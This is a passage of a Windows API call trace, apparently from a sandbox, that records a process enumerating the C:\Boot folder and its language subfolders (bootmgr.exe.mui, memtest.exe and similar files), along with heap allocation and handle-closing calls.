lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0208.279] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0208.280] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.280] GetProcessHeap () returned 0x560000 [0208.280] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.280] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0208.280] GetProcessHeap () returned 0x560000 [0208.280] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.282] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.282] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.282] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.283] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.283] GetProcessHeap () returned 0x560000 [0208.283] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.283] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0208.283] GetProcessHeap () returned 0x560000 [0208.283] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.284] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.284] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.284] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.284] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.285] GetProcessHeap () returned 0x560000 [0208.285] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.285] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0208.285] GetProcessHeap () returned 0x560000 [0208.285] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.287] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.287] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.287] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.288] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.288] GetProcessHeap () returned 0x560000 [0208.288] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.288] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0208.289] GetProcessHeap () returned 0x560000 [0208.289] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.289] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.289] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.290] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.290] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.290] GetProcessHeap () returned 0x560000 [0208.290] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.290] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0208.290] GetProcessHeap () returned 0x560000 [0208.290] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.788] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.788] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.788] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.788] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.788] GetProcessHeap () returned 0x560000 [0211.789] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0211.789] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0211.789] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0211.789] GetProcessHeap () returned 0x560000 [0211.789] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0211.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.790] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.790] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.791] GetProcessHeap () returned 0x560000 [0211.791] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0211.791] GetProcessHeap () returned 0x560000 [0211.791] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0211.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.554] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.555] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.555] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.555] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.555] GetProcessHeap () returned 0x560000 [0214.556] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.556] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0214.556] GetProcessHeap () returned 0x560000 [0214.556] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.557] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.557] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, 